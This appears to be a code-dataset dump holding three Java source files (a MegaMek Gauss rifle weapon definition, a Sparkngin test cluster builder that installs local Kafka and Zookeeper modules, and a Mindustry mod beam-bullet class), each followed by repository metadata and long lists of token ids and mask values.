* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*/
package megamek.common.weapons.gaussrifles;
import megamek.common.AmmoType;
import megamek.common.Game;
import megamek.common.ToHitData;
import megamek.common.actions.WeaponAttackAction;
import megamek.common.alphaStrike.ASRange;
import megamek.common.alphaStrike.AlphaStrikeElement;
import megamek.common.weapons.AttackHandler;
import megamek.common.weapons.GRHandler;
import megamek.server.GameManager;
import java.math.BigDecimal;
/**
* @author Andrew Hunter
* @since Oct 19, 2004
*/
public class ISGaussRifle extends GaussWeapon {
private static final long serialVersionUID = -8454131645293473685L;
public ISGaussRifle() {
super();
name = "Gauss Rifle";
setInternalName("ISGaussRifle");
addLookupName("IS Gauss Rifle");
sortingName = "Gauss C";
heat = 1;
damage = 15;
ammoType = AmmoType.T_GAUSS;
minimumRange = 2;
shortRange = 7;
mediumRange = 15;
longRange = 22;
extremeRange = 30;
tonnage = 15.0;
criticals = 7;
bv = 320;
cost = 300000;
shortAV = 15;
medAV = 15;
longAV = 15;
maxRange = RANGE_LONG;
explosionDamage = 20;
rulesRefs = "219, TM";
flags = flags.andNot(F_PROTO_WEAPON);
techAdvancement.setTechBase(TECH_BASE_IS)
.setIntroLevel(false)
.setUnofficial(false)
.setTechRating(RATING_E)
.setAvailability(RATING_D, RATING_F, RATING_D, RATING_C)
.setISAdvancement(2587, 2590, 3045, 2865, 3040)
.setISApproximate(false, false, false, false, false)
.setPrototypeFactions(F_TH)
.setProductionFactions(F_TH)
.setReintroductionFactions(F_FC, F_FW, F_DC);
}
@Override
protected AttackHandler getCorrectHandler(ToHitData toHit, WeaponAttackAction waa, Game game,
GameManager manager) {
return new GRHandler(toHit, waa, game, manager);
}
@Override
public double getBattleForceDamage(int range) {
if (range == AlphaStrikeElement.SHORT_RANGE) {
return 1.245;
} else if (range < AlphaStrikeElement.EXTREME_RANGE) {
return 1.5;
} else {
return 0;
}
}
}
| 2,939
|
Java
|
.java
|
MegaMek/megamek
| 280
| 270
| 873
|
2015-08-15T14:47:29Z
|
2024-05-09T08:09:25Z
|
fc83898f467a78d1351a31243cb3b4cef1e77e3c01ba72f9b93a69506dc7e10b
|
[
1127,
222,
338,
3130,
3829,
1451,
112,
449,
2657,
327,
72,
46,
244,
55,
53,
53,
57,
49,
244,
55,
53,
53,
58,
17669,
507,
1392,
324,
327,
103,
17616,
324,
69,
296,
123,
51,
1107,
46,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
341,
7834,
222,
338,
3870,
7120,
64,
3173,
1522,
244,
55,
451,
341,
1196,
49,
575,
327,
288,
1390,
2489,
46,
222,
338,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
222,
338,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
222,
338,
575,
8114,
4800,
418,
7848,
7763,
51,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
456,
1851,
4261,
51,
222,
588,
222,
1337,
616,
3642,
112,
51,
2297,
51,
1399,
27783,
51,
3829,
371,
6882,
344,
1904,
64,
222,
222,
485,
616,
3642,
112,
51,
2297,
51,
38536,
638,
64,
222,
485,
616,
3642,
112,
51,
2297,
51,
3783,
64,
222,
485,
616,
3642,
112,
51,
2297,
51,
724,
11161,
768,
64,
222,
485,
616,
3642,
112,
51,
2297,
51,
3564,
51,
18599,
13321,
1728,
64,
222,
485,
616,
3642,
112,
51,
2297,
51,
4945,
20048,
498,
51,
1117,
3216,
64,
222,
485,
616,
3642,
112,
51,
2297,
51,
4945,
20048,
498,
51,
10989,
20048,
498,
1325,
64,
222,
485,
616,
3642,
112,
51,
2297,
51,
1399,
27783,
51,
13321,
1985,
64,
222,
485,
616,
3642,
112,
51,
2297,
51,
1399,
27783,
51,
4290,
1985,
64,
222,
485,
616,
3642,
112,
51,
1805,
51,
3783,
1590,
64,
222,
222,
485,
1401,
51,
3851,
51,
20808,
64,
222,
222,
1350,
222,
338,
496,
2133,
44018,
696,
2584,
222,
338,
496,
8152,
13103,
244,
54,
62,
49,
244,
55,
53,
53,
57,
222,
588,
222,
942,
462,
2771,
18476,
7830,
87,
344,
293,
2041,
21371,
7830,
18599,
320,
303,
964,
924,
1175,
1964,
19896,
299,
449,
61,
57,
58,
57,
54,
56,
54,
59,
57,
58,
55,
62,
56,
57,
60,
56,
59,
61,
58,
81,
64,
465,
581,
2771,
18476,
7830,
87,
344,
293,
365,
320,
310,
2615,
492,
603,
655,
299,
332,
18476,
7830,
578,
344,
293,
884,
310,
758,
4305,
577,
459,
1309,
18476,
7830,
87,
344,
293,
742,
310,
1035,
10138,
577,
459,
1309,
21371,
7830,
578,
344,
293,
742,
310,
22326,
577,
299,
332,
18476,
7830,
409,
884,
310,
28257,
299,
244,
54,
64,
310,
13676,
299,
244,
54,
58,
64,
310,
3874,
794,
638,
299,
21462,
794,
638,
51,
89,
100,
76,
10076,
1725,
64,
310,
9367,
3216,
299,
244,
55,
64,
310,
4514,
3216,
299,
244,
60,
64,
310,
16523,
3216,
299,
244,
54,
58,
64,
310,
1964,
3216,
299,
244,
55,
55,
64,
310,
24552,
3216,
299,
244,
56,
53,
64,
310,
26051,
115,
400,
299,
244,
54,
58,
51,
53,
64,
310,
18893,
120,
299,
244,
60,
64,
310,
46444,
299,
244,
56,
55,
53,
64,
310,
7896,
299,
244,
56,
53,
53,
53,
53,
53,
64,
310,
4514,
4583,
299,
244,
54,
58,
64,
310,
11292,
4583,
299,
244,
54,
58,
64,
310,
1964,
4583,
299,
244,
54,
58,
64,
310,
1788,
3216,
299,
578,
19110,
100,
10129,
64,
310,
10682,
818,
15022,
299,
244,
55,
53,
64,
310,
7032,
21755,
299,
332,
55,
54,
62,
49,
20879,
884,
310,
5748,
299,
5748,
51,
382,
1355,
45,
75,
100,
9995,
100,
4656,
1910,
586,
312,
310,
7365,
28004,
488,
51,
489,
13668,
1778,
45,
1731,
1424,
100,
6185,
100,
1309,
46,
419,
657,
489,
16038,
2671,
45,
1886,
46,
419,
657,
489,
1079,
25755,
45,
1886,
46,
419,
657,
489,
13668,
13868,
45,
22635,
1410,
100,
74,
46,
419,
657,
489,
21583,
45,
22635,
1410,
100,
73,
49,
578,
37289,
100,
75,
49,
578,
37289,
100,
73,
49,
578,
37289,
100,
72,
46,
419,
657,
489,
1309,
28004,
488,
45,
55,
58,
61,
60,
49,
244,
55,
58,
62,
53,
49,
244,
56,
53,
57,
58,
49,
244,
55,
61,
59,
58,
49,
244,
56,
53,
57,
53,
46,
419,
657,
489,
1309,
38053,
5724,
45,
1886,
49,
920,
49,
920,
49,
920,
49,
920,
46,
419,
657,
489,
17527,
75,
3564,
45,
75,
100,
1797,
46,
419,
657,
489,
24486,
75,
3564,
45,
75,
100,
1797,
46,
419,
657,
489,
454,
24318,
75,
3564,
45,
75,
100,
5315,
49,
525,
100,
11850,
49,
525,
100,
4439,
312,
303,
339,
465,
496,
1806,
303,
2532,
37403,
1985,
640,
14877,
1985,
45,
724,
11161,
768,
391,
11161,
49,
45016,
13321,
1728,
360,
2336,
49,
6067,
4204,
49,
13586,
6067,
1590,
7886,
46,
320,
310,
461,
556,
14918,
1985,
45,
471,
11161,
49,
360,
2336,
49,
4204,
49,
7886,
312,
303,
339,
465,
496,
1806,
303,
581,
2082,
640,
29329,
10500,
15022,
45,
429,
2189,
46,
320,
310,
434,
327,
3623,
630,
26930,
20048,
498,
1325,
51,
15448,
100,
13406,
46,
320,
343,
461,
244,
54,
51,
55,
57,
58,
64,
310,
339,
832,
434,
327,
3623,
350,
26930,
20048,
498,
1325,
51,
2411,
632,
1043,
100,
13406,
46,
320,
343,
461,
244,
54,
51,
58,
64,
310,
339,
832,
320,
343,
461,
244,
53,
64,
310,
339,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 889
| true
| 60.05444
| true
| true
|
SparknginClusterBuilder.java
|
/FileExtraction/Java_unseen/DemandCube_Sparkngin/src/test/java/com/neverwinterdp/sparkngin/http/SparknginClusterBuilder.java
|
package com.neverwinterdp.sparkngin.http;
import com.neverwinterdp.server.Server;
import com.neverwinterdp.server.shell.Shell;
import com.neverwinterdp.sparkngin.NullDevMessageForwarder;
import com.neverwinterdp.util.FileUtil;
/**
* @author Tuan Nguyen
* @email [email protected]
*/
public class SparknginClusterBuilder {
static {
System.setProperty("app.dir", "build/cluster") ;
System.setProperty("app.config.dir", "src/app/config") ;
//System.setProperty("log4j.configuration", "file:src/app/config/log4j.properties") ;
System.setProperty("log4j.configuration", "file:src/test/resources/log4j.properties") ;
}
public static String TOPIC = "metrics.consumer" ;
public Server zkServer, sparknginServer, genericServer ;
public Server[] kafkaServer ;
public Shell shell ;
public SparknginClusterBuilder() {
kafkaServer = new Server[1] ;
}
public SparknginClusterBuilder(int numOfKafkaServer) {
kafkaServer = new Server[numOfKafkaServer] ;
}
public void init() throws Exception {
FileUtil.removeIfExist("build/cluster", false);
genericServer = Server.create("-Pserver.name=generic", "-Pserver.roles=generic") ;
zkServer = Server.create("-Pserver.name=zookeeper", "-Pserver.roles=zookeeper") ;
for(int i = 0; i < kafkaServer.length; i++) {
int id = i + 1;
kafkaServer[i] = Server.create("-Pserver.name=kafka" + id, "-Pserver.roles=kafka") ;
}
sparknginServer = Server.create("-Pserver.name=sparkngin", "-Pserver.roles=sparkngin") ;
shell = new Shell() ;
shell.getShellContext().connect();
//Wait to make sure all the servervices are launched
Thread.sleep(2000) ;
}
public void destroy() throws Exception {
shell.close();
sparknginServer.destroy() ;
genericServer.destroy() ;
for(int i = 0; i < kafkaServer.length; i++) {
kafkaServer[i].destroy() ;
}
zkServer.destroy() ;
}
public void install() throws Exception {
shell.execute(
"module install --member-role zookeeper -Pmodule.data.drop=true -Pzk:clientPort=2181 --autostart --module Zookeeper"
) ;
String kafkaReplication = kafkaServer.length >= 2 ? "2" : "1" ;
for(int i = 0; i < kafkaServer.length; i++) {
int id = i + 1;
shell.execute(
"module install "+
" --member-name kafka" + id +
" --autostart" +
" --module Kafka" +
" -Pmodule.data.drop=true" +
" -Pkafka:broker.id=" + id +
" -Pkafka:port=" + (9092 + i) +
" -Pkafka:zookeeper.connect=127.0.0.1:2181" +
" -Pkafka:default.replication.factor=" + kafkaReplication +
" -Pkafka:controller.socket.timeout.ms=90000" +
" -Pkafka:controlled.shutdown.enable=true" +
" -Pkafka:controlled.shutdown.max.retries=3" +
" -Pkafka:controlled.shutdown.retry.backoff.ms=60000"
) ;
}
shell.execute(
"module install " +
" -Pmodule.data.drop=true" +
" -Pkafka:zookeeper.connect=127.0.0.1:2181" +
" --member-role generic --autostart --module KafkaConsumer"
) ;
shell.execute(
"module install" +
" -Pmodule.data.drop=true" +
" -Psparkngin:http-listen-port=7080" +
" -Psparkngin:forwarder-class=" + NullDevMessageForwarder.class.getName() +
" --member-role sparkngin" +
" --autostart --module Sparkngin"
) ;
shell.execute("server registration");
Thread.sleep(1000);
}
public void uninstall() {
shell.execute("module uninstall --member-role sparkngin --timeout 20000 --module Sparkngin");
shell.execute("module uninstall --member-role generic --timeout 20000 --module KafkaConsumer");
shell.execute("module uninstall --member-role kafka --timeout 20000 --module Kafka");
shell.execute("module uninstall --member-role zookeeper --timeout 20000 --module Zookeeper");
}
public String getKafkaConnect() {
StringBuilder b = new StringBuilder() ;
for(int i = 0; i < kafkaServer.length; i++) {
if(i > 0) b.append(",") ;
b.append("127.0.0.1:").append(9092 + i) ;
}
return b.toString() ;
}
}
| 4,327
|
Java
|
.java
|
DemandCube/Sparkngin
| 35
| 16
| 12
|
2013-11-01T22:10:37Z
|
2017-03-18T00:21:29Z
|
6a46e800c65cfdba174c2838fe5a54f4e45443cb328923b70d65c8c5757b8d06
|
[
1337,
785,
51,
18453,
124,
1164,
5994,
51,
10256,
1159,
285,
51,
544,
64,
222,
222,
485,
785,
51,
18453,
124,
1164,
5994,
51,
1805,
51,
2077,
64,
222,
485,
785,
51,
18453,
124,
1164,
5994,
51,
1805,
51,
7890,
51,
7171,
64,
222,
485,
785,
51,
18453,
124,
1164,
5994,
51,
10256,
1159,
285,
51,
1898,
8488,
1193,
1580,
43811,
64,
222,
485,
785,
51,
18453,
124,
1164,
5994,
51,
1058,
51,
991,
1747,
64,
222,
1350,
222,
338,
496,
2133,
413,
10476,
508,
3114,
31449,
222,
338,
496,
1951,
244,
292,
10476,
53,
61,
69,
7265,
51,
527,
222,
588,
222,
942,
462,
17311,
1159,
285,
4619,
1812,
320,
353,
924,
320,
303,
1189,
51,
17507,
459,
745,
51,
1537,
411,
332,
1848,
52,
5208,
678,
2098,
303,
1189,
51,
17507,
459,
745,
51,
1180,
51,
1537,
411,
332,
1634,
52,
745,
52,
1180,
678,
2098,
303,
453,
1615,
51,
17507,
459,
769,
57,
111,
51,
5990,
411,
332,
781,
63,
1634,
52,
745,
52,
1180,
52,
769,
57,
111,
51,
4659,
678,
2098,
303,
1189,
51,
17507,
459,
769,
57,
111,
51,
5990,
411,
332,
781,
63,
1634,
52,
881,
52,
5390,
52,
769,
57,
111,
51,
4659,
678,
2098,
353,
339,
4070,
581,
924,
910,
24388,
1122,
299,
332,
8113,
51,
14163,
39,
2098,
4070,
581,
4242,
26023,
2077,
49,
20567,
1159,
285,
2077,
49,
10151,
2077,
2098,
353,
581,
4242,
1197,
26222,
2077,
2098,
353,
581,
20418,
9092,
2098,
4070,
581,
17311,
1159,
285,
4619,
1812,
365,
320,
303,
26222,
2077,
299,
556,
4242,
96,
54,
98,
2098,
353,
339,
4070,
581,
17311,
1159,
285,
4619,
1812,
45,
429,
43233,
22810,
2077,
46,
320,
303,
26222,
2077,
299,
556,
4242,
96,
1538,
1436,
22810,
2077,
98,
2098,
353,
339,
736,
581,
782,
3238,
365,
2589,
3284,
320,
303,
2050,
1747,
51,
2564,
2811,
11761,
459,
1848,
52,
5208,
411,
920,
312,
303,
10151,
2077,
299,
4242,
51,
1315,
10364,
85,
1805,
51,
444,
66,
9957,
411,
4840,
85,
1805,
51,
9716,
66,
9957,
678,
2098,
303,
26023,
2077,
299,
4242,
51,
1315,
10364,
85,
1805,
51,
444,
66,
35060,
411,
4840,
85,
1805,
51,
9716,
66,
35060,
678,
2098,
2205,
456,
45,
429,
613,
244,
299,
244,
53,
64,
613,
350,
26222,
2077,
51,
1340,
64,
613,
2002,
320,
416,
648,
828,
299,
613,
494,
244,
54,
64,
416,
26222,
2077,
96,
110,
98,
299,
4242,
51,
1315,
10364,
85,
1805,
51,
444,
66,
14278,
39,
494,
828,
49,
4840,
85,
1805,
51,
9716,
66,
14278,
678,
2098,
303,
339,
303,
20567,
1159,
285,
2077,
244,
299,
4242,
51,
1315,
10364,
85,
1805,
51,
444,
66,
10256,
1159,
285,
411,
4840,
85,
1805,
51,
9716,
66,
10256,
1159,
285,
678,
2098,
2205,
9092,
299,
556,
20418,
365,
2098,
303,
9092,
51,
390,
7171,
1237,
941,
3532,
492,
303,
453,
6494,
391,
1949,
3673,
1187,
341,
2160,
2598,
904,
35965,
303,
7806,
51,
7860,
45,
55,
53,
53,
53,
46,
2098,
353,
339,
4070,
581,
782,
10088,
365,
2589,
3284,
320,
303,
9092,
51,
2698,
492,
303,
20567,
1159,
285,
2077,
51,
6978,
365,
2098,
303,
10151,
2077,
51,
6978,
365,
2098,
3751,
456,
45,
429,
613,
244,
299,
244,
53,
64,
613,
350,
26222,
2077,
51,
1340,
64,
613,
2002,
320,
416,
26222,
2077,
96,
110,
1015,
6978,
365,
2098,
303,
339,
303,
26023,
2077,
51,
6978,
365,
2098,
353,
339,
28117,
581,
782,
2462,
365,
2589,
3284,
320,
303,
9092,
51,
4540,
45,
416,
332,
1663,
2462,
790,
3675,
50,
4315,
1308,
22951,
449,
85,
1663,
51,
624,
51,
3850,
66,
1527,
449,
85,
14575,
63,
1598,
3451,
66,
55,
54,
61,
54,
790,
4872,
667,
521,
790,
1663,
2538,
22951,
39,
303,
848,
2098,
465,
910,
26222,
21429,
299,
26222,
2077,
51,
1340,
2394,
244,
55,
1037,
332,
55,
39,
518,
332,
54,
39,
2098,
303,
456,
45,
429,
613,
244,
299,
244,
53,
64,
613,
350,
26222,
2077,
51,
1340,
64,
613,
2002,
320,
416,
648,
828,
299,
613,
494,
244,
54,
64,
416,
9092,
51,
4540,
45,
633,
332,
1663,
2462,
6771,
13523,
332,
244,
790,
3675,
50,
444,
26222,
39,
494,
828,
494,
633,
332,
244,
790,
4872,
667,
521,
39,
494,
633,
332,
244,
790,
1663,
22054,
39,
494,
633,
332,
244,
449,
85,
1663,
51,
624,
51,
3850,
66,
1527,
39,
494,
633,
332,
244,
449,
85,
14278,
63,
17478,
51,
333,
366,
494,
828,
494,
633,
332,
244,
449,
85,
14278,
63,
644,
366,
494,
327,
62,
53,
62,
55,
494,
613,
46,
494,
633,
332,
244,
449,
85,
14278,
63,
35060,
51,
3532,
66,
54,
55,
60,
51,
53,
51,
53,
51,
54,
63,
55,
54,
61,
54,
39,
494,
633,
332,
244,
449,
85,
14278,
63,
1555,
51,
27633,
51,
9454,
366,
494,
26222,
21429,
494,
633,
332,
244,
449,
85,
14278,
63,
4641,
51,
4825,
51,
5470,
51,
893,
66,
62,
53,
53,
53,
53,
39,
494,
633,
332,
244,
449,
85,
14278,
63,
42619,
51,
16075,
51,
4909,
66,
1527,
39,
494,
13523,
332,
244,
449,
85,
14278,
63,
42619,
51,
16075,
51,
1472,
51,
31012,
66,
56,
39,
494,
633,
332,
244,
449,
85,
14278,
63,
42619,
51,
16075,
51,
13542,
51,
47987,
51,
893,
66,
59,
53,
53,
53,
53,
39,
416,
848,
2098,
303,
339,
303,
9092,
51,
4540,
45,
310,
332,
1663,
2462,
332,
494,
4488,
332,
244,
449,
85,
1663,
51,
624,
51,
3850,
66,
1527,
39,
494,
310,
332,
244,
449,
85,
14278,
63,
35060,
51,
3532,
66,
54,
55,
60,
51,
53,
51,
53,
51,
54,
63,
55,
54,
61,
54,
39,
494,
310,
332,
244,
790,
3675,
50,
4315,
10151,
790,
4872,
667,
521,
790,
1663,
22054,
9123,
39,
303,
848,
2098,
2205,
9092,
51,
4540,
45,
310,
332,
1663,
2462,
39,
494,
310,
332,
244,
449,
85,
1663,
51,
624,
51,
3850,
66,
1527,
39,
494,
310,
332,
244,
449,
85,
10256,
1159,
285,
63,
544,
50,
12227,
50,
644,
66,
60,
53,
61,
53,
39,
494,
310,
332,
244,
449,
85,
10256,
1159,
285,
63,
999,
43811,
50,
842,
366,
494,
9286,
8488,
1193,
1580,
43811,
51,
842,
51,
5175,
365,
494,
310,
332,
244,
790,
3675,
50,
4315,
20567,
1159,
285,
39,
494,
310,
332,
244,
790,
4872,
667,
521,
790,
1663,
17311,
1159,
285,
39,
303,
848,
2098,
2205,
9092,
51,
4540,
459,
1805,
14531,
742,
303,
7806,
51,
7860,
45,
54,
53,
53,
53,
312,
353,
339,
4070,
581,
782,
28870,
365,
320,
303,
9092,
51,
4540,
459,
1663,
28870,
790,
3675,
50,
4315,
20567,
1159,
285,
790,
5470,
244,
55,
53,
53,
53,
53,
790,
1663,
17311,
1159,
285,
742,
303,
9092,
51,
4540,
459,
1663,
28870,
790,
3675,
50,
4315,
10151,
790,
5470,
244,
55,
53,
53,
53,
53,
280,
790,
1663,
22054,
9123,
742,
303,
9092,
51,
4540,
459,
1663,
28870,
790,
3675,
50,
4315,
26222,
790,
5470,
244,
55,
53,
53,
53,
53,
790,
1663,
22054,
742,
303,
9092,
51,
4540,
459,
1663,
28870,
790,
3675,
50,
4315,
1308,
22951,
790,
5470,
244,
55,
53,
53,
53,
53,
790,
1663,
2538,
22951,
742,
353,
339,
4070,
581,
910,
640,
22810,
6767,
365,
320,
303,
9705,
342,
299,
556,
9705,
365,
2098,
303,
456,
45,
429,
613,
299,
244,
53,
64,
613,
350,
26222,
2077,
51,
1340,
64,
613,
2002,
320,
416,
434,
45,
110,
868,
244,
53,
46,
342,
51,
1713,
45793,
2098,
416,
342,
51,
1713,
459,
54,
55,
60,
51,
53,
51,
53,
51,
54,
63,
1912,
1713,
45,
62,
53,
62,
55,
494,
613,
46,
2098,
303,
339,
303,
461,
342,
51,
3127,
365,
2098,
353,
339,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,276
| true
| 60.9646
| true
| true
|
OhioBeamBulletType.java
|
/FileExtraction/Java_unseen/TeamOct_fictional-octo-system/src/fos/type/bullets/OhioBeamBulletType.java
|
package fos.type.bullets;
import arc.graphics.Color;
import arc.graphics.g2d.*;
import arc.math.Mathf;
import arc.math.geom.Point2;
import fos.content.FOSFx;
import mindustry.Vars;
import mindustry.content.StatusEffects;
import mindustry.entities.Effect;
import mindustry.entities.bullet.ContinuousBulletType;
import mindustry.gen.*;
import mindustry.graphics.*;
import mindustry.world.blocks.defense.turrets.Turret;
import static arc.graphics.g2d.Draw.color;
import static arc.math.Angles.randLenVectors;
/**
* A death ray fired by the Judge turret. Currently, only works properly with turrets.
* @author Slotterleet
*/
public class OhioBeamBulletType extends ContinuousBulletType {
/** The beam's color. */
public Color color = Pal.slagOrange;
/** The beam radius. */
public float width;
/** Evaporation effect when a ray lands on liquid. */
// TODO: ZMC is broken, replace with Fx.smokePuff reference later
public Effect evaporationEffect = new Effect(30, e -> {
color(e.color);
randLenVectors(e.id, 6, 4f + 30f * e.finpow(), (x, y) -> {
Fill.circle(e.x + x, e.y + y, e.fout() * 3f);
Fill.circle(e.x + x / 2f, e.y + y / 2f, e.fout());
});
}).layer(Layer.debris + 0.1f);
public OhioBeamBulletType(float dps, float width) {
super();
/* does nothing, purely for display lmao */ damage = 1f;
collides = true;
splashDamage = dps / (60f / damageInterval);
this.width = width;
splashDamageRadius = this.width;
scaledSplashDamage = false;
/* aaaaaaaaaa */ displayAmmoMultiplier = false;
speed = 1f;
lifetime = 30f;
status = StatusEffects.melting;
incendAmount = 20;
incendSpread = this.width;
shake = 10f;
buildingDamageMultiplier = 0.5f;
/* Anuke, why is this drawSize and not clipSize like everything else */ drawSize = 720f;
pierceBuilding = true;
pierceArmor = true;
splashDamagePierce = true;
despawnEffect = FOSFx.deathrayDespawn;
despawnSound = Sounds.none;
}
@Override
public void init(Bullet b) {
super.init(b);
if (b.owner instanceof Turret.TurretBuild t) {
b.x(t.targetPos.x);
b.y(t.targetPos.y);
}
}
@Override
public float continuousDamage() {
if(!continuous) return -1f;
return splashDamage / damageInterval * 60f;
}
@Override
public void update(Bullet b) {
super.update(b);
if (b.owner instanceof Turret.TurretBuild t) {
//check for turret range
if (!Mathf.within(b.x, b.y, t.x, t.y, t.range())) {
b.vel.setAngle(b.angleTo(t));
b.vel.setLength(b.dst(t) - t.range() + 1f);
return;
} else if (Mathf.within(b.x, b.y, t.x, t.y, ((Turret)t.block).minRange)) {
b.vel.setAngle(b.angleTo(t) + 180);
b.vel.setLength(((Turret)t.block).minRange - b.dst(t) + 1f);
return;
}
b.vel.setLength(b.type.speed);
b.vel.setAngle(b.angleTo(t.targetPos));
//don't reload the turret when it's still shooting.
t.reloadCounter = ((Turret) t.block).reload;
}
}
@Override
public void despawned(Bullet b) {
if (despawnHit) {
hit(b);
}
if (b.owner instanceof Turret.TurretBuild t) {
despawnEffect.at(b.x, b.y, b.rotation(), hitColor, Point2.pack((int)t.x, (int)t.y));
}
despawnSound.at(b);
Effect.shake(despawnShake, despawnShake, b);
}
@Override
public void draw(Bullet b) {
var centerTile = b.tileOn();
centerTile.circle((int) (width / Vars.tilesize + 1), t -> {
if (t.floor().isLiquid && !t.solid())
evaporationEffect.at(t.worldx(), t.worldy(), t.floor().liquidDrop.gasColor);
});
Lines.stroke(80f, color);
drawBeam(color, b.x, b.y, width);
if (b.owner instanceof Turret.TurretBuild t) {
drawBeam(color, t.x, t.y, width);
}
}
/** Draws a beam that goes upwards. */
public static void drawBeam(Color color, float x, float y, float rad) {
Draw.color(Pal.redLight, 0.6f);
Fill.poly(x, y, 48, rad * 1.2f);
Draw.color(color, 1f);
Fill.poly(x, y, 48, rad);
Fill.quad(x - rad, y, x + rad, y, x + rad, y + 4000f, x - rad, y + 4000f);
Fill.poly(x, y + 4000f, 48, rad);
Drawf.light(x, y + rad, x, y + rad + 1600f, rad * 2, color, 0.8f);
Draw.reset();
}
@Override
public void applyDamage(Bullet b) {
createSplashDamage(b, b.x, b.y);
createIncend(b, b.x, b.y);
}
@Override
public void drawLight(Bullet b) {
//no light drawn here
}
}
| 4,918
|
Java
|
.java
|
TeamOct/fictional-octo-system
| 41
| 9
| 2
|
2020-12-04T14:00:15Z
|
2024-05-04T13:40:36Z
|
b1a37e9b94b7d297fe0ffb0331de354246b4c66f0c37643eb95eb29a92128419
|
[
1337,
315,
519,
51,
700,
51,
18568,
120,
64,
222,
222,
485,
20608,
51,
7027,
51,
1530,
64,
222,
485,
20608,
51,
7027,
51,
108,
55,
105,
7737,
222,
485,
20608,
51,
3851,
51,
5728,
107,
64,
222,
485,
20608,
51,
3851,
51,
12338,
51,
1962,
55,
64,
222,
485,
315,
519,
51,
1304,
51,
1380,
12084,
125,
64,
222,
485,
12218,
46619,
51,
12032,
64,
222,
485,
12218,
46619,
51,
1304,
51,
1551,
20117,
64,
222,
485,
12218,
46619,
51,
9259,
51,
5572,
64,
222,
485,
12218,
46619,
51,
9259,
51,
18568,
51,
34535,
22766,
638,
64,
222,
485,
12218,
46619,
51,
2536,
7737,
222,
485,
12218,
46619,
51,
7027,
7737,
222,
485,
12218,
46619,
51,
5879,
51,
8597,
51,
43641,
51,
121,
874,
1448,
51,
89,
46665,
64,
222,
222,
485,
924,
20608,
51,
7027,
51,
108,
55,
105,
51,
2900,
51,
1507,
64,
222,
485,
924,
20608,
51,
3851,
51,
27117,
51,
6458,
5752,
27890,
64,
222,
222,
1350,
222,
338,
418,
24485,
16066,
30283,
829,
341,
990,
14333,
292,
46665,
51,
15596,
49,
1773,
4864,
10285,
642,
292,
874,
1448,
51,
222,
338,
496,
2133,
31804,
410,
13565,
222,
588,
222,
942,
462,
23828,
735,
30375,
22766,
638,
2041,
46961,
22766,
638,
320,
303,
1041,
906,
25209,
1200,
1989,
51,
588,
303,
581,
5459,
1989,
299,
39322,
51,
2021,
500,
37691,
64,
303,
1041,
906,
25209,
10472,
51,
588,
303,
581,
1916,
1882,
64,
303,
1041,
44099,
28850,
387,
5769,
1429,
331,
16066,
475,
6002,
563,
39600,
51,
588,
303,
453,
4314,
63,
2538,
6613,
458,
12858,
49,
7112,
642,
525,
125,
51,
33916,
85,
2988,
4141,
6146,
303,
581,
19234,
7064,
28850,
387,
5572,
299,
556,
19234,
45,
56,
53,
49,
503,
984,
320,
310,
1989,
45,
106,
51,
1507,
312,
603,
10510,
5752,
27890,
45,
106,
51,
333,
49,
244,
59,
49,
244,
57,
